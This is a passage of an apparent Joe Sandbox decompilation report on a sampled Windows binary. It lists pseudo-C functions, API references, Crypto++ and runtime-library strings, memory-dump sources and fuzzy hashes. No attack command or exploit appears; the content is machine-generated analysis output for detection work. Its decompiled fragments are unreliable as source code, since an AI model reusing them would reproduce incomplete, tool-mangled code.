				 *((char*)(_t108 - 0x339)) =  *((intOrPtr*)(_t108 - 0xf8));
				_t70 =  *((intOrPtr*)(_t108 - 0x24));
				 *_t107 = _t70;
				if(_t70 != 0) {
					_t105 =  *((intOrPtr*)(_t108 - 0x348));
					if( *_t105 != 0) {
						0xc813f4( *_t105);
					}
					_t78 =  *_t107 + 1;
					0xc86445(_t78);
					 *_t105 = _t78;
					0xc83f30(_t78, 0,  *_t107 + 1);
					_t116 =  *((intOrPtr*)(_t108 - 0x20)) - 0x10;
					_t80 =  >=  ?  *((void*)(_t108 - 0x34)) : _t108 - 0x34;
					0xc819a0( *_t105,  >=  ?  *((void*)(_t108 - 0x34)) : _t108 - 0x34,  *_t107);
					 *((char*)(_t108 - 0x339)) = 1;
				}
				 *((char*)(_t108 - 4)) = 4;
				E00B04C89(_t108 - 0x190, _t116);
				 *((char*)(_t108 - 4)) = 3;
				E00B049AB(_t81, _t108 - 0x338, _t116);
				E00B023D6(_t108 - 0x4c, 1, 0);
				E00B023D6(_t108 - 0x34, 1, 0);
				E00B023D6(_t81 + 0x10, 1, 0);
				0xc866b9();
				return  *((intOrPtr*)(_t108 - 0x339));
			}

0x00b07ba0
0x00b07ba0
0x00b07bac
0x00b07bba
0x00b07bc3
0x00b07bcd
0x00b07bce
0x00b07bd1
0x00b07bd7
0x00b07bda
0x00b07bdd
0x00b07be0
0x00b07be3
0x00b07be6
0x00b07bef
0x00b07bf7
0x00b07c02
0x00b07c06
0x00b07c17
0x00b07c1b
0x00b07c22
0x00b07c28
0x00b07c2e
0x00b07c34
0x00b07c43
0x00b07c43
0x00b07c36
0x00b07c3c
0x00b07c3c
0x00b07c52
0x00b07c5d
0x00b07c64
0x00b07c68
0x00b07c6e
0x00b07c74
0x00b07c78
0x00b07c7a
0x00b07c8e
0x00b07c8e
0x00b07c7c
0x00b07c87
0x00b07c87
0x00b07c90
0x00b07c91
0x00b07c96
0x00b07c9a
0x00b07ca1
0x00b07ca9
0x00b07cb4
0x00b07cba
0x00b07cc0
0x00b07cc3
0x00b07cc7
0x00b07cc9
0x00b07cd2
0x00b07cd6
0x00b07cdb
0x00b07cde
0x00b07ce0
0x00b07ce5
0x00b07cee
0x00b07cf3
0x00b07cfc
0x00b07d03
0x00b07d0b
0x00b07d0b
0x00b07d18
0x00b07d1c
0x00b07d27
0x00b07d2b
0x00b07d61
0x00b07d6d
0x00b07d79
0x00b07d87
0x00b07d8c

APIs

__EH_prolog3_catch_GS_align.LIBCMT ref: 00B07BAC

Part of subcall function 00B037AF: __EH_prolog3.LIBCMT ref: 00B037B6

Part of subcall function 00CAA905: __EH_prolog3.LIBCMT ref: 00CAA90C

Part of subcall function 00B6BC90: _malloc.LIBCMT ref: 00B6BCAC

_free.LIBCMT ref: 00B07CD6
_malloc.LIBCMT ref: 00B07CE0
_memset.LIBCMT ref: 00B07CEE
_memmove.LIBCMT ref: 00B07D03

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3_malloc$H_prolog3_catch_S_align_free_memmove_memset
String ID:
API String ID: 1072502553-0
Opcode ID: dfb83c6c285a834139cdbcc034f72cb30b8c04b54bde25e293227989bbd3f27f
Instruction ID: bce62313718b53dd266b5bfa9e96b7db21847095eb85aa7cfa608d44c932983e
Opcode Fuzzy Hash: dfb83c6c285a834139cdbcc034f72cb30b8c04b54bde25e293227989bbd3f27f
Instruction Fuzzy Hash: 0A512C70905248EEEB26EF64D891BDDBBF8AF14300F2401D9F649A72C2DB706B84DB15

Uniqueness

Uniqueness Score: -1.00%

Function 00C87EFD Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00C87F09

Part of subcall function 00C86445: __FF_MSGBANNER.LIBCMT ref: 00C8645C
Part of subcall function 00C86445: __NMSG_WRITE.LIBCMT ref: 00C86463
Part of subcall function 00C86445: RtlAllocateHeap.NTDLL(00940000,00000000,00000001), ref: 00C86488

_free.LIBCMT ref: 00C87F1C

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: c4b90884f006981149aed9142d257a79217ffa50a8036c02e111ffd2f9703d23
Instruction ID: 3b8920d3a3be824ca03c6363823273e7eb17b9f9ecb8f617e9114036df128b4b
Opcode Fuzzy Hash: c4b90884f006981149aed9142d257a79217ffa50a8036c02e111ffd2f9703d23
Instruction Fuzzy Hash: 6E11CA3150C256AFCF253FF6AC05B6A3798EF053ACB304725FA1C9A191EB35C941A798

Uniqueness

Uniqueness Score: -1.00%

Function 00CC803D Relevance: 7.6, APIs: 5, Instructions: 52registrythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(00000000,?,00000000,00CD8102,000000FF,0000000C), ref: 00CC8054
GetLastError.KERNEL32(?,00000000,?,?,?,?,?,00CCDB7C,?,?,?,?,?,00CC6FB3,000000FF,?), ref: 00CC805E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCMT ref: 00CC807D
__CxxThrowException@8.LIBCMT ref: 00CC808B
SetThreadAffinityMask.KERNEL32(?,?), ref: 00CC80BE

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: AffinityConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastMaskObjectRegisterSingleThreadThrowWait
String ID:
API String ID: 2773543435-0
Opcode ID: b60599cf3c6570184bd529714cae9748187e237e09fb6d845ccb1a514ef6fdca
Instruction ID: 6b1c1e3d0f3e5e23ed2e2cf191f9342c3a9197090599a4e29057877cea6e4add
Opcode Fuzzy Hash: b60599cf3c6570184bd529714cae9748187e237e09fb6d845ccb1a514ef6fdca
Instruction Fuzzy Hash: 89015E35500249FFCF10EFA0DC06FAE3BA9EB04355F508568FD19DA1A1DE31DA18AB96

Uniqueness

Uniqueness Score: -1.00%

Function 00CCE715 Relevance: 7.5, APIs: 5, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CC812C: TlsAlloc.KERNEL32(?,?,?), ref: 00CC8132
Part of subcall function 00CC812C: GetLastError.KERNEL32 ref: 00CC813D
Part of subcall function 00CC812C: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCMT ref: 00CC8159
Part of subcall function 00CC812C: __CxxThrowException@8.LIBCMT ref: 00CC8167
Part of subcall function 00CC812C: TlsFree.KERNEL32(?,?,?,00D5A47C,00000000), ref: 00CC8173

TlsAlloc.KERNEL32(?,?,?), ref: 00CD84A6
GetLastError.KERNEL32 ref: 00CD84B6
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCMT ref: 00CD84D2
__CxxThrowException@8.LIBCMT ref: 00CD84E0
TlsFree.KERNEL32(?,00D5A47C,00000000), ref: 00CD84EC

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8FreeLastThrow
String ID:
API String ID: 3166510937-0
Opcode ID: e01c654026315ed894677f586b59cc816414e989195f0829685746d084246a11
Instruction ID: c59803531b1b1c5c55e0fa7949612d9dfe0c9f74371706ad6f3b5c7f6c7fc03b
Opcode Fuzzy Hash: e01c654026315ed894677f586b59cc816414e989195f0829685746d084246a11
Instruction Fuzzy Hash: 4CF0E930400256CBC700BB71EC0AF6D376CBB00311F504A59F66DC56B2EF348108AB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00CC8189 Relevance: 7.5, APIs: 5, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,74CB8560,?,?,?,?,00CC6FB3,000000FF,?), ref: 00CC8195
GetLastError.KERNEL32(?,?,?,?,00CC6FB3,000000FF,?,?,?,?,00CC65C6,?,?,00D73138), ref: 00CC819F
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCMT ref: 00CC81BB
__CxxThrowException@8.LIBCMT ref: 00CC81C9
UnregisterWait.KERNEL32(?), ref: 00CC81D5

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowUnregisterValueWait
String ID:
API String ID: 4170064228-0
Opcode ID: 69af663ede0a06c89e3eefc790f7c09dbd3c24316cf08994891ad393b39a699c
Instruction ID: 3f5938714f1f382ad0f44e5cac13b9cc1705a2e60b401d2dbd61b873c8c153df
Opcode Fuzzy Hash: 69af663ede0a06c89e3eefc790f7c09dbd3c24316cf08994891ad393b39a699c
Instruction Fuzzy Hash: 3BF0A031100148ABCB00BFA1EC09FBE3BACAB00340B044529FD1C85061EF36961997A6

Uniqueness

Uniqueness Score: -1.00%

Function 00CC812C Relevance: 7.5, APIs: 5, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,?,?), ref: 00CC8132
GetLastError.KERNEL32 ref: 00CC813D
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCMT ref: 00CC8159
__CxxThrowException@8.LIBCMT ref: 00CC8167
TlsFree.KERNEL32(?,?,?,00D5A47C,00000000), ref: 00CC8173

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8FreeLastThrow
String ID:
API String ID: 3166510937-0
Opcode ID: 39848254496a896ea93d6c047793d4d705bd0193dbbd1c91969268840f9671ce
Instruction ID: b313f2ec58e40044125350e1ebd3db58007dfe9449820d5c1d2726ba809beef9
Opcode Fuzzy Hash: 39848254496a896ea93d6c047793d4d705bd0193dbbd1c91969268840f9671ce
Instruction Fuzzy Hash: 7BE0923040014C978B00BBF5EC4AFBF7BACAA40361B545A69FD2EC69E1DF31990956A6

Uniqueness

Uniqueness Score: -1.00%

Function 00CAB97B Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CAB982

Part of subcall function 00CABBDB: __EH_prolog3.LIBCMT ref: 00CABBE2

Part of subcall function 00B6BC90: _malloc.LIBCMT ref: 00B6BCAC

Strings

TruncatedDigestSize, xrefs: 00CABA79
AuthenticatedDecryptionFilterFlags, xrefs: 00CABA64
BlockPaddingScheme, xrefs: 00CABA49

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3$_malloc
String ID: AuthenticatedDecryptionFilterFlags$BlockPaddingScheme$TruncatedDigestSize
API String ID: 1683881009-2369340326
Opcode ID: cd7638b5b6026488885a9feee467f02798d3f12b8d136e39c13741251a16cddf
Instruction ID: c2f5d4e0147450679197959faa59af10f60c0c5120d53edafa7e35c4c5cf00a6
Opcode Fuzzy Hash: cd7638b5b6026488885a9feee467f02798d3f12b8d136e39c13741251a16cddf
Instruction Fuzzy Hash: A531F47060024AAEDF04EF65C855FEEBBA8AF06308F04449CB55A9B283DB749E48D760

Uniqueness

Uniqueness Score: -1.00%

Function 00B04588 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00B04588(intOrPtr __ecx, void* __eflags) {
				void* _t30;
				void* _t32;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				intOrPtr _t49;
				intOrPtr _t60;
				intOrPtr* _t63;
				void* _t64;

				_t50 = __ecx;
				0xc81503(0x98);
				 *((intOrPtr*)(_t64 - 0xa4)) = __ecx;
				_t60 =  *((intOrPtr*)(_t64 + 0xc));
				_t49 =  *((intOrPtr*)(_t64 + 0x10));
				_t30 = E00B02F01(__eflags);
				 *(_t64 - 4) =  *(_t64 - 4) & 0x00000000;
				_t32 = E00B02ED4(_t49, _t50, _t64 - 0xa0, _t30, "\', stored \'");
				 *(_t64 - 4) = 1;
				0xc8204e(0xd70c2c, _t64 - 0x58, "NameValuePairs: type mismatch for \'",  *((intOrPtr*)(_t64 + 8)));
				_t34 = E00B02ED4(_t49, _t60, _t64 - 0x70, _t32, _t32);
				 *(_t64 - 4) = 2;
				_t36 = E00B02ED4(_t49, _t60, _t64 - 0x28, _t34, "\', trying to retrieve \'");
				 *(_t64 - 4) = 3;
				0xc8204e(0xd70c2c);
				_t38 = E00B02ED4(_t49, _t49, _t64 - 0x88, _t36, _t36);
				 *(_t64 - 4) = 4;
				_t40 = E00B02ED4(_t49, _t49, _t64 - 0x40, _t38, 0xcf2cd4);
				_t63 =  *((intOrPtr*)(_t64 - 0xa4));
				 *(_t64 - 4) = 5;
				E00B04197(_t63);
				 *_t63 = 0xcf2ca8;
				E00B023D6(_t64 - 0x40, 1, 0);
				E00B023D6(_t64 - 0x88, 1, 0);
				E00B023D6(_t64 - 0x28, 1, 0);
				E00B023D6(_t64 - 0x70, 1, 0);
				E00B023D6(_t64 - 0xa0, 1, 0);
				E00B023D6(_t64 - 0x58, 1, 0);
				 *_t63 = 0xcf2ccc;
				 *((intOrPtr*)(_t63 + 0x28)) = _t60;
				 *((intOrPtr*)(_t63 + 0x2c)) = _t49;
				0xc814b2(1, _t40);
				return _t63;
			}

0x00b04588
0x00b04592
0x00b04597
0x00b045a0
0x00b045a3
0x00b045b0
0x00b045b5
0x00b045c6
0x00b045d7
0x00b045db
0x00b045e6
0x00b045f4
0x00b045f9
0x00b0460a
0x00b0460e
0x00b0461c
0x00b0462a
0x00b0462f
0x00b04637
0x00b04642
0x00b04646
0x00b04652
0x00b04658
0x00b04667
0x00b04673
0x00b0467f
0x00b0468e
0x00b0469a
0x00b0469f
0x00b046a7
0x00b046aa
0x00b046ad
0x00b046b2

APIs

__EH_prolog3_GS.LIBCMT ref: 00B04592

Part of subcall function 00B02F01: __EH_prolog3.LIBCMT ref: 00B02F08

Part of subcall function 00C8204E: type_info::_Name_base.LIBCMT ref: 00C82055

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

Part of subcall function 00B023D6: _memmove.LIBCMT ref: 00B023F6

Strings

', trying to retrieve ', xrefs: 00B045EB
', stored ', xrefs: 00B045B9
NameValuePairs: type mismatch for ', xrefs: 00B045AA

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3$H_prolog3_Name_base_memmovetype_info::_
String ID: ', stored '$', trying to retrieve '$NameValuePairs: type mismatch for '
API String ID: 3773968386-3022120042
Opcode ID: 323bab0c0b0ea57e6d733613ad8c1be42db6e92526f9b24a3b410eca22b10d81
Instruction ID: 9d06b41eff5433e891351dcf733ae9b06ba2b74c0c65e915c7a1244fbbf66912
Opcode Fuzzy Hash: 323bab0c0b0ea57e6d733613ad8c1be42db6e92526f9b24a3b410eca22b10d81
Instruction Fuzzy Hash: 66316871A40318AEDB24EBA0DC46FDE7BACAF14700F544099FA45B72C2DBF45A88CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00CABE61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CABE68

Part of subcall function 00CABBDB: __EH_prolog3.LIBCMT ref: 00CABBE2

__CxxThrowException@8.LIBCMT ref: 00CABF0D

Strings

BlockPaddingScheme, xrefs: 00CABF1B
StreamTransformationFilter: please use AuthenticatedEncryptionFilter and AuthenticatedDecryptionFilter for AuthenticatedSymmetricCipher, xrefs: 00CABEDE

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Exception@8H_prolog3H_prolog3_Throw
String ID: BlockPaddingScheme$StreamTransformationFilter: please use AuthenticatedEncryptionFilter and AuthenticatedDecryptionFilter for AuthenticatedSymmetricCipher
API String ID: 3648411918-3582606076
Opcode ID: 6efdeb22567b4c3eb0b7c6f49978f91b100a8d511d63e3f4f01e54dec55e7c30
Instruction ID: 608cb0f53c0d3c0beca2e5162d4669031f6d0e2248080374e956343d84872295
Opcode Fuzzy Hash: 6efdeb22567b4c3eb0b7c6f49978f91b100a8d511d63e3f4f01e54dec55e7c30
Instruction Fuzzy Hash: F52195B4A00249AFDB00EF94C955BADBBF8BF19304F444459F505A7282CBB49E19DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B07305 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00B0736D
std::_Xinvalid_argument.LIBCPMT ref: 00B073A5

Strings

string too long, xrefs: 00B073A0
invalid string position, xrefs: 00B07396

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: invalid string position$string too long
API String ID: 256744135-4289949731
Opcode ID: 6f5e82018c0f036ab65bc1c9e372873f26e629efb961c084659bdbf58d50962c
Instruction ID: 371b053e33e811a33874f8f86f24af8a7d346d7a8c14bd102c253d1cde464cd6
Opcode Fuzzy Hash: 6f5e82018c0f036ab65bc1c9e372873f26e629efb961c084659bdbf58d50962c
Instruction Fuzzy Hash: AF11AF31B04305ABEB289E68D880A5AFBE9EB40754B1409BDF915C76C1CB70F845D7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00CAD8B2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CAD8B9

Part of subcall function 00B040CA: __EH_prolog3.LIBCMT ref: 00B040D1

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00CAD91A

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

InputBuffer, xrefs: 00CAD8DA
StringStore: missing InputBuffer argument, xrefs: 00CAD8EB

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3$ExceptionException@8H_prolog3_RaiseThrow
String ID: InputBuffer$StringStore: missing InputBuffer argument
API String ID: 1185993512-2380213735
Opcode ID: c6b79f3fe1402ddba4701bb0734b3e587f1b38218ca2551e0e423c8a4e1fc8c6
Instruction ID: e6a2b89dc317313c13fe93d0c5d9f08f44dfd34710fb21a7ca34e8ebde19e906
Opcode Fuzzy Hash: c6b79f3fe1402ddba4701bb0734b3e587f1b38218ca2551e0e423c8a4e1fc8c6
Instruction Fuzzy Hash: 51118C70A00308EFCF04EFA4C891ADDBBF4AF54314F144559F50AAB282DBB0AE49DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CA9B4B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CA9B55
__CxxThrowException@8.LIBCMT ref: 00CA9BB4

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

Strings

Cryptographic algorithms are disabled before the power-up self tests are performed., xrefs: 00CA9B85
Cryptographic algorithms are disabled after a power-up self test failed., xrefs: 00CA9BC3

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
